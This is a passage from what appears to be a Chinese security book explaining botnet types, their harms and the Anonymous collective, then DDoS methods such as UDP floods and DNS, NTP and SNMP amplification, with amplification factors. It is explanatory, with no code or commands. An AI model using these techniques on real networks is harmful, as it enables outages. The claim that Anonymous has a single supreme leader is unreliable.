同时，HTTP型僵尸网络也更容易隐藏攻击活动。使用HTTP构建的信道，可以更容易地让僵尸网络的控制流量淹没在大量的Web通信中，从而使得基于HTTP的僵尸网络活动更难以被检测出来。

通过HTTP控制的僵尸程序通常由控制面板和生成器两部分组成。图2-15所示为僵尸程序BlackEnergy的工具包组成。
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图2-15　BlackEnergy工具包

BlackEnergy的生成器界面如图2-16所示。
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图2-16　BlackEnergy生成器
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图2-17　BlackEnergy控制面板

BlackEnergy的控制端指令下发界面（控制面板）如图2-17所示。

HTTP型僵尸网络的僵尸程序通常具有后门性质，会搜集系统基本信息，又有自身升级模块以及插件下载等功能。僵尸程序发送的第一个数据包往往是搜集到的被感染主机的系统基本信息，然后从C&C服务器收取并分离要执行的指令，如图2-18所示。
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图2-18　发送系统基本信息

而对于大多数僵尸网络来说，DDoS攻击仍然是其最主要的目的，而且攻击的形式多样。图2-19是Athena僵尸网络程序控制面板中显示的多种攻击模式。
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图2-19　多种DDoS攻击模式

通过HTTP进行僵尸网络的组建和控制非常灵活和简单，不过，HTTP僵尸网络与IRC型僵尸网络面临着同样的问题，这种星式的拓扑结构使其抗打击性不强，一旦C&C服务器被破坏，整个僵尸网络就会受到毁灭性的打击。

3.P2P型僵尸网络

在介绍P2P型僵尸网络之前，先说P2P的概念。P2P又称对等网络，在此网络中，各节点处于对等地位，网络节点既可作为客户端向P2P网络中的其他节点请求服务，也可以作为服务器为提出请求的网络节点服务。P2P技术使得网络中人与人的交流、数据交换、分布计算等方面得到直接交互，消除了过去客户端必须连接到服务器进行浏览、请求服务的传统模式。

P2P型僵尸网络，即基于P2P协议建立命令与控制信道的僵尸网络。由于P2P网络中节点对等性的特点，P2P型僵尸网络中的所有节点（或大部分节点）既充当控制服务器的角色，也充当客户端的角色。

P2P型僵尸网络的典型拓扑结构如图2-20所示。
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图2-20　P2P型僵尸网络

相比于IRC型僵尸网络和HTTP型僵尸网络，P2P型僵尸网络中充当控制服务器的节点不再单一，攻击者可以通过网络中任一节点控制整个P2P型僵尸网络。解决了传统IRC型僵尸网络和HTTP型僵尸网络集中式控制服务器的单点失效问题。由于攻击者可以自己定制P2P协议，对P2P型僵尸网络的检测很难找到通用的特征，也很难发现未知特征的僵尸网络活动。当然，随之而来的是更为复杂的搜索节点算法和维护过程。

这里以最为流行的半分布式P2P型僵尸网络为例，来展示其网络构成和控制方法。根据节点在整个僵尸网络中的地位和作用不同，可以将僵尸节点分为两类：一类是拥有静态IP地址并可以从因特网访问的僵尸节点，我们将其称为Servent bot，这类僵尸节点承担客户端和服务端的双重角色；另一类是IP地址动态分配、私有IP地址或防火墙过滤等原因无法从因特网访问的僵尸节点，我们将其称为Client bot，这类僵尸节点也是受控主机，能主动地周期性连接Servent bot。

半分布式P2P型僵尸网络中的两种节点都存有一张有限的邻接Servent bot节点的链表（Peer List）。一旦僵尸主机重启或脱离僵尸网络，将周期性地主动连接其链表中的服务节点，维护整个僵尸网络的连接。

从僵尸程序植入主机到组建完成半分布式P2P僵尸网络，共经历了程序植入、感染传播和网络维护三个阶段。在程序植入阶段，要求攻击者具备一般黑客所具备的入侵技能，需要在植入的僵尸程序的链表结构中硬编码入数台攻击者已攻陷主机（Servent bot）的IP地址。受控主机上的僵尸程序依次感染其他主机，每感染一台都会首先判断感染的主机是否可成为服务节点（Servent bot），同时构建该僵尸主机的链表表。每台主机被植入僵尸程序后，都会自启动僵尸主程序。在其重启后会根据链表表中的服务器的IP地址，主动连接其他的僵尸节点，从而维护半分布式P2P僵尸网络的整个网络结构。链表数量有限，当其已满而需要存储下台被感染的、可成为服务节点的主机IP时，就会使用该台主机的IP覆盖掉链表中的已存在的一个IP，这样可以保证链表列表中的主机时刻处于最活跃状态。

那攻击者是如何管理已组建好的僵尸网络的呢？简单地说，就是攻击者通过命令与控制机制来控制整个僵尸网络。首先，攻击者接入半分布式P2P型僵尸网络，这主要依靠攻击者的攻击平台。该平台可以封装攻击者的攻击命令，并接收命令的反馈信息。攻击者可通过该平台了解僵尸网络的基本信息。攻击者要连接网络中的服务节点，往往需要通过一定的认证，在通过认证后，即可从此节点中注入其控制命令。其次，指令开始在各节点自动传播。服务节点收到指令后，与自身存储的指令链表比较。如果该指令已存在，则不处理；如果不存在，则将这条指令转发给其他服务节点（依据链表中的IP地址）。其他收到指令的服务节点做同样的操作，使指令得以在整个僵尸网络中扩散。最后，僵尸主机将指令的执行结果通过层层节点再反馈给攻击者。

对于安全研究者来说，通过捕获的一个节点可以发现此僵尸网络的许多僵尸主机，但却很难窥其全貌。而且即使有一些僵尸主机被封杀，也不会影响到整个僵尸网络的生存。

通过P2P控制的僵尸网络的典型代表是ZeroAcess，它的最新版本使用了P2P协议。为了使文件传播和IP地址更新速度更快，ZeroAcess仅包含了很少的命令（getL、retL和newL），并借助简单加密来躲避安全设备侦测。每个节点在初始时都包含256个IP地址，存储于当前目录下的@文件，当前节点使用getL命令和临近节点进行交互。临近节点通过retL指令返回自己节点的相关信息，以便当前节点进行信息更新。

虽然每个节点有256个初始IP地址，但用于信息交换的仅有从中选取的最多16个而不是全部。由于其复杂度，这里不对其更多细节做深入探究。

通过P2P组建和控制的僵尸网络，其僵尸主机数量往往非常庞大，地域分布上可以跨越多个国家甚至洲，找出僵尸网络真正的控制者往往变得非常困难。在没有各国政府有效协调的情况下，对这种僵尸网络的打击几乎是不可能的。正是由于P2P固有的优势，近年来，这种组建和控制僵尸网络的方式正变得越来越流行。


2.3　僵尸网络的危害

僵尸网络是联合众多联网计算机所组成的一个攻击平台，攻击者利用僵尸网络可以发起各式各样的攻击，可以导致整个基础信息网络或重要应用系统瘫痪，或导致大量机密和个人隐私泄露，以及从事网络欺诈等其他违法犯罪活动。

1.发动DDoS攻击

借助僵尸网络发动大规模DDoS攻击是当前最主要的威胁之一，从前面几节的实例简析中也能看出，甚至有的僵尸网络将DDoS攻击作为其唯一功能。攻击者可以向自己控制的所有僵尸主机发送指令，让它们在特定的时间同时连接访问指定的网络目标，在短时间内以大流量冲击，造成目标资源耗尽而无法响应合法请求，产生拒绝服务的效果。

僵尸网络和DDoS工具的区别

能发动DDoS攻击的不只有僵尸网络，专业的DDoS工具也可以进行DDoS攻击。那么两者之间又有哪些区别呢？大体来看，两者之间的区别主要表现在以下三个方面。

首先，僵尸主机大多拥有真实的IP且分布广泛，甚至可以说遍布全球。而DDoS工具的工作原理则是在单台主机（单个IP）上开启多个线程来模拟多主机情形，一部分攻击工具也不能够进行源IP地址的伪造，因此，相比于前者海量的IP来源，后者则更容易遭到防御方黑白名单的封堵。

其次，僵尸网络控制的是真实主机，在发起攻击尤其是HTTP GET FLOOD时可以在后台启动浏览器访问目标资源，绕过防御方大多数的防御措施。而一些DDoS攻击工具则由于没有实现相应的交互机制，甚至是因为具有某些特定的字符特征而遭到过滤。

最后，僵尸网络往往具有传播功能，之间的维系依靠复杂的协议，如HTTP和P2P等，正是这种传播机制，使攻击者在较短时间内就可以组建颇具规模的网络大军，对目标实施有效打击。而DDoS攻击工具一般不具有自传播功能，好比单兵作战，威力较弱。

2.发送垃圾邮件

垃圾邮件给人们的日常生活造成极大的困扰，而利用僵尸网络发送垃圾邮件更具备以下几个优点：首先，黑客可以隐藏自身的真实IP地址以躲避法律的追究；其次，可以在短时间内发送大量的垃圾邮件；最后，由于僵尸主机的广泛分布，造成很多的反垃圾邮件措施失效，尤其是使用黑白名单机制。

3.窃取敏感信息

由于现在的僵尸程序往往具备后门的功能，所以其一旦加载运行，则存储于受感染主机上的一切敏感信息都将暴露无遗，用户的一举一动都在攻击者的监视之下。如果用户没有有效的阻断措施，则这种控制行为将可能一直存在，而且黑客会以此做跳板来攻击同网络的其他主机。

4.抢占系统资源

僵尸网络一旦形成，就相当于给控制者提供了大量免费的网络和计算机资源，控制者就可以利用这些资源非法牟取暴利，如付费点击（Pay-Per-Click，PPC）以及曾经广泛实施的比特币挖矿行为等。

如图2-21所示，上面列出的四个方面并不是孤立存在的，一个僵尸网络为了利益最大化，甚至四方面兼而有之。而且在僵尸网络的组建方面，各利益体分工明确。
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图2-21　利益体分工协作

随着计算机网络和攻防技术的不断发展，僵尸网络还有可能被用来发动更多新的攻击。


2.4　自愿型僵尸网络

在本章的前面几节中，我们对僵尸网络的发展、组建和危害进行了比较详细的介绍。在本节中，我们把僵尸网络的概念稍稍延伸一下，介绍一种特殊的僵尸网络——自愿型僵尸网络。

什么是自愿型僵尸网络呢？与本章前面所介绍的由机器所组成的僵尸网络不同，自愿型僵尸网络是由一个个现实世界的人组成的僵尸网络，这些人通常被称为黑客行动主义者。

如果将由机器组成的僵尸网络与自愿型僵尸网络进行一些简单的类比，我们会发现这两种僵尸网络是非常类似的。由机器组成的僵尸网络通过系统漏洞和社会工程的方式感染一台台机器，而自愿型僵尸网络通过黑客行动主义信仰感染了一个个黑客行动主义者；由机器组成的僵尸网络通过IRC、HTTP和P2P等通信协议进行控制指令的发送，而自愿型僵尸网络通过网站和IRC频道确定攻击目标和攻击计划；由机器组成的僵尸网络能够发动大规模的拒绝服务攻击，而自愿型僵尸网络中的黑客行动主义者们也能够利用手中的计算机和攻击工具击垮一个个站点。实际上，如果将自愿型僵尸网络中的一个个人看做是相对更高级的机器的话，那么这个僵尸网络与传统意义上的僵尸网络几乎没有什么差别。

提到自愿型僵尸网络，最典型的例子就是近几年不断扩大并发出声音的著名黑客组织——匿名者（Anonymous） [3]
 。

匿名者黑客组织（其图标如图2-22所示），是一个松散的黑客团体，任何人都可以宣称代表该组织或属于该组织。该组织也是近年来在国际上影响较为广泛的黑客组织之一，在重大的攻击事件中都有他们的身影。
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图2-22　匿名者（Anonymous）组织图标

匿名者组织源于2003年成立的网络信息论坛4chan，这里聚集了一群喜欢恶作剧的黑客和游戏玩家，他们主要做些“为他人定制垃圾邮件”的骚扰。4chan最大的特点就是所有用户都被标记为Anonymous。渐渐地，一些用户自我组织起来形成线下力量，用Anonymous作为称号，自发形成松散的黑客组织。

匿名者组织主要由两种类型的志愿者组成：技术黑客和外行人。

技术黑客，这组人由数个技术熟练的成员组成，他们通常有专业的编程和网络攻防技术，是有真正黑客经历的一群人，也是这个团体的领导力量。

外行人，这个组的人数量最多，也是攻击的执行体，由来自世界各地成千上万的志愿者组成。他们最主要的黑客活动是进行DDoS攻击，通过下载和使用傻瓜式的攻击软件或同时访问网站以阻塞目标网络通信。这个组的成员的最大特点是所拥有的技术水平参差不齐。

匿名者组织有自己的一些特点：他们有自己的网站，借此可以发出自己的声音；并通过IRC频道定期举行聚会，使用投票系统，选择用最好的方式处理任何情况。他们的投票操作如图2-23所示。
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图2-23　为攻击目标投票

如图2-24所示，投票后，他们决定接下来的操作。
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图2-24　统计投票结果

这个黑客组织擅长使用DDoS来攻击政府、知名企业及宗教团体的网站等。攻击前，则又通常使用社交媒体，如Twitter、Facebook等来推广攻击活动。以显示和证明一个攻击的政治意义。所以在这种情况下，一个网站会得到一个“合理化”的被攻击的理由（图2-25）。
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图2-25　造势宣传

匿名者组织在进行DDoS攻击时，会在社交媒体中提供下载工具，以方便更多的人加入到攻击行动当中，如图2-26所示。
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图2-26　攻击工具下载

匿名者已经组织了许多著名黑客活动，比如阿拉伯之春、抗议捷运、攻击索尼用户数据库以及“占领华尔街”等。他们也通过DDoS攻击使多个知名电子商务公司瘫痪了，如PayPal、Visa、MasterCard和Sony等。

由匿名者官方网站公布的最新数据来看，匿名者组织的最高领导者是Lj·Xie，是匿名者的资深战略家和最高领导者。他说：“我们将发动游击网络战，这是一种非传统、非对称的战争。事实上，战争之火早已点燃。”他承认匿名者组织的行为违反法律，但仍辩称他们违法是出于“道德”目的，是为了监督大公司和政府，曝光他们的错误行为。他们采取的攻击手段将包括：入侵各种国际政府网站及企业网站、入侵渗透各国军事或卫星系统、在网络上公布官员的私人信息，以及破坏大公司的网络和电话通信等。


2.5　小结

通过本章的介绍，我们对僵尸网络有了一个较全面的认识。僵尸网络已成为几乎所有计算机用户的最大威胁之一，这不仅是对网络安全专家而言，对企业和消费者用户也是如此。此外，黑客建立僵尸网络的动机目前也已开始发生变化，除了金钱，僵尸网络已开始被利用于为政治服务，随着网络战威胁及危害的不断加剧，未来的冲突中不排除利用僵尸网络作为武器的可能性，或许现在已经被投入使用了。随着移动终端的智能化发展，未来的僵尸网络将不仅仅收揽PC，日益火爆的Android等移动设备也将可能成为僵尸网络的新成员。僵尸网络所带来的威胁真的离我们很近！


2.6　参考资料
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[2]　国家互联网应急中心http://www.cert.org.cn/.
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第3章　DDoS攻击的方法

“夫兵形象水，水之行避高而趋下，兵之形避实而击虚；水因地而制流，兵因敌而制胜。”


——《孙子兵法》


在这一章里，我们会对分布式拒绝服务攻击使用的各种方法分别进行介绍，以使读者对分布式拒绝服务攻击有比较全面和深入的理解和认识。

在介绍分布式拒绝服务攻击方法之前，我们有必要对分布式拒绝服务攻击的基本形式进行更加深入的理解和剖析。什么是拒绝服务攻击？什么是分布式拒绝服务攻击？拒绝服务攻击和分布式拒绝服务攻击之间又有着什么样的联系和区别呢？

这里我们不妨举一个贴近现实的例子来进行类比说明。

假设你对一家快餐店心存不满（也许你在用餐的时候吃到了苍蝇，也许你是它的竞争对手餐厅的负责人，总之，你感到很生气），打算去砸这家快餐店的场子，从而使快餐店的经理害怕，并让其他客人不再去这家快餐店吃饭。这时，你会有两种行动选择。第一种，叫上几个兄弟，拿上铁锹、铁锤、棍棒，冲进这家快餐店，吓跑店员和店里的客人，砸碎门窗和座椅，砸烂收款台和厨房……这种方式能够快速起效，砸过场子之后也会让这家快餐店花费几周时间重新装修店面，不过，快餐店经理报警之后，作为主犯的你将会很容易被抓获，并且将会面临几个月到几年的牢狱之灾；第二种，请一百来个朋友同时到这家快餐店就餐，每个人只点一小杯可乐（或者每两三个人点一包小薯条），点餐之后就在座位上聊天，从大清早开始一直聊到快餐店当天关店，这样进到快餐店的其他客人会发现没有座位可坐，因此会去其他店就餐，表面上看，这种“可乐薯条大作战”的方式相对温和，实际上对这家快餐店营业额的影响非常大，更重要的是，即使餐厅经理报警，警察也没有任何理由逮捕你。

好了，这里这个例子并不是在教各位读者如何去快餐店砸场子，只是想借用这个例子来说明拒绝服务攻击和分布式拒绝服务攻击。

首先，拒绝服务攻击是指通过一些手段影响服务的可用性。在这个例子里，就是去快餐店砸场子，从而使其他客人无法（不能或不敢）在这家快餐店就餐。

其次，早期的拒绝服务攻击主要基于系统和应用程序的漏洞，这种攻击只需要几个请求或者数据包就能导致长时间的服务不可用，但是只要系统和应用修补了漏洞，就完全不受影响，同时，这种攻击也非常容易被入侵检测系统发现。在上面这个快餐店的例子里，就是第一种砸场子的方式。如果快餐店部署了保安，就不会让带着武器装备的客人进店；当然，砸了场子以后，犯人会很快被警察抓获。

最后，分布式拒绝服务攻击是拒绝服务攻击的一种，从名字来看，其主要的特点在于分布式。实际上，分布式拒绝服务攻击与早期的拒绝服务攻击的原理也并不完全相同。分布式拒绝服务攻击的目的主要在于资源占用和资源消耗，它通过向服务提供者发起大量请求或者长时间占用资源的方式来达到拒绝服务的目的。这种攻击从表面上看都是合理的请求，因此无法通过系统升级和打补丁的方式阻止，也不能使用入侵检测系统进行防御。在上面这个快餐店的例子里，就是第二种砸场子的方式。即使快餐店部署了保安，经理报了警，他们对于坐在店里慢悠悠地吃薯条喝可乐的客人也是毫无办法的。

到这里，我们已经看到了分布式拒绝服务攻击的精髓：利用分布式的客户端，向服务提供者发起大量看似合法的请求，消耗或长期占用大量资源，从而达到拒绝服务的目的。
 在本章中介绍的各种分布式拒绝服务攻击方法，都是这个精髓的不同表现形式。

虽然都是在消耗目标资源，但是不同的分布式拒绝服务攻击方法所产生的影响依然有所不同。在本章里，我们会为每种分布式拒绝服务攻击方法给出流行度、简单度和影响力的评分，最后给出这种攻击手段的综合风险率。看过《网络安全机密与解决方案——黑客大曝光》的读者可能会对这种风险评级的方式感到非常熟悉，不过，为了那些没有读过这本“圣经”的读者，我们还是再对这几个方面的评分进行一下说明。

·流行度：
 利用这种手段对实际目标进行攻击的频率，1代表最少见，10代表最常见。

·简单度：
 利用这种攻击手段所需的技能，10代表需要的技能最少，1代表只有资深的安全人员才能实施。

·影响力：
 攻击得手时可能造成的损失大小和进行防护的难度，1代表损失很小并且非常容易防护，10代表损失会非常大，而且难以防护。

·风险率：
 前三个数字的平均值（四舍五入为整数），这个数值给出了某种攻击手段总体的危害程度。

从不同的角度看，分布式拒绝服务攻击的方法有不同的分类标准。在本章的介绍中，依据消耗目标资源的不同，将分布式拒绝服务攻击分为攻击网络带宽资源、攻击系统资源和攻击应用资源三类。在本章的最后，我们还会从其他的一些角度对分布式拒绝服务攻击进行归类，并对混合攻击进行简要的介绍。


3.1　攻击网络带宽资源

我们都知道，互联网实际上是由大量的网络设备将大量终端连接起来所组成的一个庞大的网络，如果想获取某台服务器上的服务资源，则需要将请求数据通过特定链路传输到这台服务器上。依然用前面快餐店的例子来说明，如果客人想要用餐，就需要知道快餐店的位置，并且到达快餐店点餐（这里我们暂时不考虑快餐店的外卖服务）。但是，如果快餐店的门口或者它所在的街道发生了拥堵和交通管制，客人就无法到达快餐店，也就无法得到服务。

同样的道理，无论是服务器的网络接口带宽，还是路由器、交换机等互联网基础设施，其数据包处理能力都是存在着事实上的上限的，当到达或通过的网络数据包数量超过了这个上限时，就会出现网络拥堵、响应缓慢的情况。消耗网络带宽资源的分布式拒绝服务攻击就是根据这个原理，利用受控主机发送大量的网络数据包，占满被攻击目标的全部带宽，从而使正常的请求无法得到及时有效的响应，造成拒绝服务。


3.1.1　直接攻击

直接攻击（如图3-1所示）使用大量的受控主机直接向被攻击目标发送大量的网络数据包，以占满被攻击目标的带宽，并消耗服务器和网络设备的网络数据处理能力，达到拒绝服务的目的。
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图3-1　直接攻击

直接攻击的主要方法有ICMP/IGMP洪水攻击和UDP洪水攻击两种。

1.ICMP/IGMP洪水攻击
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网络控制消息协议（Internet Control Message Protocol，ICMP）是TCP/IP协议族的核心协议之一。它用于在TCP/IP网络中发送控制消息，提供可能发生在通信环境中的各种问题反馈。通过这些信息，管理者可以对所发生的问题做出诊断，然后采取适当的措施解决。

因特网组管理协议（Internet Group Management Protocol，IGMP）是用于管理因特网协议多播组成员的一种通信协议。IP主机和相邻的路由器利用IGMP来建立多播组的组成员。

攻击者使用受控主机向被攻击目标发送大量的ICMP/IGMP报文，进行洪水攻击以消耗目标的带宽资源。这种类型的攻击出现得很早，使用hping等工具就能够简单地发起攻击。但现在使用这种方法发动的攻击已不多见，被攻击目标可以在其网络边界直接过滤并丢弃ICMP/IGMP数据包使攻击无效化。

2.UDP洪水攻击
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用户数据报协议（User Datagram Protocol，UDP）是一种面向无连接的传输层协议，主要用于不要求分组顺序到达的传输，提供面向事务的简单的不可靠信息传送服务。

利用UDP数据报文，攻击者也可以发动洪水攻击。UDP洪水攻击和ICMP/IGMP洪水攻击的原理基本相同。通常，攻击者会使用小包和大包两种方式进行攻击。

小包是指64字节大小的数据包，这是以太网上传输数据帧的最小值。在相同流量下，单包体积越小，数据包的数量就越多。由于交换机、路由器等网络设备需要对每一个数据包进行检查和校验，因此使用UDP小包攻击能够最有效地增大网络设备处理数据包的压力，造成处理速度的缓慢和传输延迟等拒绝服务攻击的效果。

大包是指1500字节以上的数据包，其大小超过了以太网的最大传输单元（MTU）。使用UDP大包攻击，能够有效地占用网络接口的传输带宽，并迫使被攻击目标在接收到UDP数据时进行分片重组，造成网络拥堵，服务器响应速度变慢。

UDP洪水攻击也是很早就出现的一种拒绝服务攻击方式，这种攻击发动简单，有相当多的工具都能够发动UDP洪水攻击，如hping、LOIC等。但UDP洪水攻击完全依靠受控主机本身的网络性能，因此通常对攻击目标带宽资源的消耗并不太大。


3.1.2　反射和放大攻击

攻击者可以使用ICMP洪水攻击、UDP洪水攻击等方式直接对被攻击目标展开消耗网络带宽资源的分布式拒绝服务攻击，但这种方式不仅低效，还很容易被查到攻击的源头。虽然攻击者可以使用伪造源IP地址的方式进行隐藏，但更好的方式是使用反射攻击技术。

反射攻击又被称为DRDoS（Distributed Reflection Denial of Service，分布式反射拒绝服务）攻击，是指利用路由器、服务器等设施对请求产生应答，从而反射攻击流量并隐藏攻击来源的一种分布式拒绝服务攻击技术。

反射攻击的基本原理如图3-2所示。
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图3-2　反射攻击

在进行反射攻击时，攻击者使用受控主机发送大量的数据包，这些数据包的特别之处在于，其目的IP地址指向作为反射器的服务器、路由器等设施，而源IP地址则被伪造成被攻击目标的IP地址。反射器在收到数据包时，会认为该数据包是由被攻击目标所发来的请求，因此会将响应数据发送给被攻击目标。当大量的响应数据包涌向攻击目标时，就会耗尽目标的网络带宽资源，造成拒绝服务攻击。

发动反射攻击需要在互联网上找到大量的反射器，某些种类的反射攻击并不难实现。例如，对于ACK反射攻击，只需要找到互联网上开放TCP端口的服务器即可，而这种服务器在互联网上的存在是非常广泛的。

发动反射攻击通常会使用无须认证或握手的协议。反射攻击需要将请求数据的源IP地址伪造成被攻击目标的IP地址，如果使用的协议需要进行认证或者握手，则该认证或握手过程没有办法完成，也就不能进行下一步的攻击。因此，绝大多数的反射攻击都是使用基于UDP协议的网络服务进行的。

相比于直接伪造源地址的分布式拒绝服务攻击，反射攻击由于增加了一个反射步骤，因此更加难以追溯攻击来源。但是，这并不是反射攻击真正的威胁，真正的威胁在于利用反射原理进行的放大攻击。

放大攻击是一种特殊的反射攻击，其特殊之处在于反射器对于网络流量具有放大作用，因此我们也可以将这种反射器称为放大器。进行放大攻击的方式与反射攻击的方式也是基本一致的，不同之处在于反射器（放大器）所提供的网络服务需要满足一定条件。

在反射器提供的网络服务协议中，需要存在请求和响应数据量不对称的情况，响应数据量需要大于请求数据量。响应数据量与请求数据量的比值越大，放大器的放大倍数也就越大，进行放大攻击所产生的消耗带宽资源的效果也就越明显。

放大器所使用网络服务部署的广泛性决定了该放大攻击的规模和严重程度。如果存在某些网络服务，不需要进行认证并且放大效果非常好，但是在互联网上部署的数量很少，那么利用该网络服务进行放大也不能达到很大的流量，达不到有效消耗带宽资源的效果，这种网络服务也就不能作为主要的放大攻击流量，而只能作为辅助手段。

1.ACK反射攻击
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我们知道，在传输控制协议（Transmission Control Protocol，TCP）建立连接时，首先会进行TCP三次握手。在这个过程中，当服务器端接收到客户端发来的SYN连接请求时，会对该请求进行ACK应答。利用TCP握手的ACK应答，即可进行ACK反射攻击。

ACK反射攻击是比较常见的一种反射攻击技术，其攻击原理如图3-3所示。

如果攻击者将SYN的源IP地址伪造成被攻击目标的IP地址，服务器的应答也就会直接发送给被攻击目标。由于使用TCP协议的服务在互联网上广泛存在，攻击者可以通过受控主机向大量不同的服务器发送伪造源IP地址的SYN请求，从而使服务器响应的大量ACK应答数据涌向被攻击目标，占用目标的网络带宽资源并造成拒绝服务。
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图3-3　ACK反射攻击

在发动ACK反射攻击时，首先需要进行扫描，获得大量的反射器地址，并分别向这些反射器发送伪造源地址的SYN请求数据，因此相比于直接攻击，这种方式显得复杂了一些。ACK反射攻击的优点主要在于其能够比较有效地隐藏攻击的来源。

2.DNS放大攻击
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域名系统（Domain Name System，DNS）是因特网的一项核心服务。它作为可以将域名和IP地址相互映射的一个分布式数据库，能够使人更方便地访问互联网，而不用去记住那些难以记忆的IP地址。DNS使用的TCP与UDP端口号都是53，主要使用UDP协议。

通常，DNS响应数据包会比查询数据包大，因此攻击者利用普通的DNS查询请求就能够发动放大攻击，并将攻击流量放大2～10倍。但更有效的方法是使用RFC 2671中定义的DNS扩展机制EDNS0。

EDNS0

在没有EDNS0以前，对DNS查询的响应数据包被限制在512字节以内。当需要应答的数据包超过512字节时，根据DNS服务实现的不同，可能会丢弃超过512字节的部分，也可能会使用TCP协议建立连接并重新发送。无论是哪种方式，都不利于进行DNS放大攻击。

在EDNS0中，扩展了DNS数据包的结构，增加了OPT RR字段。在OPT RR字段中，包含了客户端能够处理的最大UDP报文大小的信息。服务端在响应DNS请求时，解析并记录下客户端能够处理的最大UDP报文的大小，并根据该大小生成响应的报文。

攻击者能够利用dig（Domain Information Groper）和EDNS0进行高效的DNS放大攻击。攻击者向广泛存在的开放DNS解析器发送dig查询命令，将OPT RR字段中的UDP报文大小设置为很大的值（如4096），并将请求的源IP地址伪造成被攻击目标的IP地址。DNS解析器收到查询请求后，会将解析的结果发送给被攻击目标。当大量的解析结果涌向目标时，就会导致目标网络拥堵和缓慢，造成拒绝服务攻击。

DNS放大攻击的原理如图3-4所示。

攻击者发送的DNS查询请求数据包大小一般为60字节左右，而查询返回结果的数据包大小通常为3000字节以上，因此，使用该方式进行放大攻击能够达到50倍以上的放大效果，这种放大效应所产生的攻击效果是非常惊人的，只要攻击的发起端能够发出2Gbit/s的带宽，就能够在目标网络处产生100Gbit/s的带宽消耗。在2013年3月对Spamhaus的分布式拒绝服务攻击中，主要就是用了DNS放大攻击技术，使得攻击流量达到了史无前例的300Gbit/s，甚至拖慢了局部互联网的响应速度。

与ACK反射攻击类似，发动DNS放大攻击也需要先进行扫描，以获得大量的开放DNS解析器的地址，并向这些开放DNS解析器发送伪造源地址的查询命令来放大攻击流量。

[image: ]


图3-4　DNS放大攻击

3.NTP放大攻击
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网络时间协议（Network Time Protocol，NTP）是用来使计算机时间同步化的一种协议，它可以使计算机与时钟源进行同步化并提供高精准度的时间校正，NTP使用UDP 123端口进行通信。

在NTP协议的服务器实现上，通常会实现一系列Mode 7的调试接口，而接口中的monlist请求能够获取到与目标NTP服务器进行同步的最后600个客户端的IP地址等信息。这意味着，只需要发送一个很小的请求包，就能够触发大量连续的包含IP地址信息等数据的UDP响应数据包。

实际上，monlist请求返回的数据量与一段时间内和NTP服务器交互的客户端数量有关。由于NTP服务使用的是UDP单包通信，因此攻击者可以将伪造源IP地址的UDP请求包发送给NTP放大器，伪造客户端与NTP服务器的交互，增加“和NTP服务器交互的客户端的数量”，以此来增加monlist请求的响应数据量并增大NTP放大器的放大倍数。只要向NTP放大器发送600个不超过64字节的请求包（约40KB数据），就能够快速地将NTP放大器的放大倍数提高到700倍以上，并在该服务器的NTP服务关闭或重新启动之前一直保持这么大的放大倍数。

NTP放大攻击的原理如图3-5所示。
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图3-5　NTP放大攻击

攻击者发送的monlist请求数据包大小不超过64字节，而请求返回的结果会包含100个482字节的UDP响应数据，因此，使用该方式进行放大攻击能够达到700倍以上的放大效果。

与ACK反射攻击和DNS放大攻击类似，发动NTP放大攻击也需要先进行网络扫描，以获得大量的NTP服务器，并向这些NTP服务器发送伪造源地址的请求来放大攻击流量。相比于DNS放大攻击，NTP放大攻击的放大倍数更大，因此其危害也更加严重，在针对Spamhaus的大规模分布式拒绝服务攻击事件中，如果攻击者不使用DNS放大攻击而改用NTP放大攻击，那么攻击流量将会达到2Tbit/s以上。

4.SNMP放大攻击
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简单网络管理协议（Simple Network Management Protocol，SNMP）是目前网络中应用最为广泛的网络管理协议，它提供了一个管理框架来监控和维护互联网设备。SNMP协议使用UDP 161端口进行通信。

利用SNMP协议中的默认通信字符串和GetBulk请求，攻击者能够开展有效的SNMP放大攻击。

由于SNMP的效果很好，网络硬件厂商开始把SNMP加入到它们制造的每一台设备，这导致各种网络设备上都可以看到默认启用的SNMP服务，从交换机到路由器，从防火墙到网络打印机，无一例外。同时，许多厂商安装的SNMP都采用了默认的通信字符串（Community String），这些通信字符串是程序获取设备信息和修改配置必不可少的。最常见的默认通信字符串是public和private，除此之外还有许多厂商私有的默认通信字符串。几乎所有运行SNMP的网络设备上，都可以找到某种形式的默认通信字符串。

在SNMPv1中定义的Get请求可以尝试一次获取多个MIB对象，但响应消息的大小受到设备处理能力的限制。如果设备不能返回全部请求的响应，则会返回一条错误信息。在SNMPv2中，添加了GetBulk请求，该请求会通知设备返回尽可能多的数据，这使得管理程序能够通过发送一次请求就获得大段的检索信息。

攻击者向广泛存在并开启了SNMP服务的网络设备发送GetBulk请求，使用默认通信字符串作为认证凭据，并将源IP地址伪造成攻击目标的IP地址。设备收到GetBulk请求后，会将响应结果发送给攻击目标。当大量的响应结果涌向攻击目标时，就会导致攻击目标网络拥堵和缓慢，造成拒绝服务攻击。

SNMP放大攻击的原理如图3-6所示。
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图3-6　SNMP放大攻击

攻击者发送的GetBulk请求数据包约为60字节，而请求的响应数据能够达到1500字节以上，因此，使用该方式进行放大攻击能够达到25倍以上的放大效果。这也是一种放大效应明显且有效的放大攻击方式。

在发动SNMP放大攻击时，同样需要先进行网络扫描以找到开放了SNMP协议的网络设备。虽然开放SNMP协议的网络设备很多，但是在扫描到这些设备之后还需要对它们所使用的默认字符串进行猜测。因此，相比于DNS放大攻击，不论是简单度还是放大倍数的影响力，SNMP放大攻击都略逊一筹。不过从总体上来看，SNMP放大攻击依然是一种非常有效的消耗带宽资源的攻击方法。


3.1.3　攻击链路

攻击链路与前面介绍的几种攻击方法有所不同，其攻击的目标并不是作为互联网端点的服务器的带宽资源，而是骨干网上的链路的带宽资源。对链路进行攻击的一种典型的方式是Coremelt攻击。
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Coremelt是安全研究人员在2009年提出的一种针对链路的分布式拒绝服务攻击方法。 [1]
 攻击者需要控制一个分布足够广泛的僵尸网络来发动Coremelt攻击，其攻击的原理如图3-7所示。

[image: ]


图3-7　Coremelt攻击

首先，攻击者通过traceroute等手段来判断各个僵尸主机和将要攻击的链路之间的位置关系，并根据结果将僵尸主机分为两个部分。然后，攻击者控制僵尸主机，使其与链路另一侧的每一台僵尸主机进行通信并收发大量数据，这样，大量的网络数据包就会经过骨干网上的被攻击链路，造成网络拥堵和延时。

从骨干网上来看，这些僵尸主机之间相互收发的数据包确实是真实存在的通信数据，没有办法将这些通信数据与真正的合法通信数据进行有效的区分，因此这种攻击方式更加难以防护和缓解。


3.2　攻击系统资源

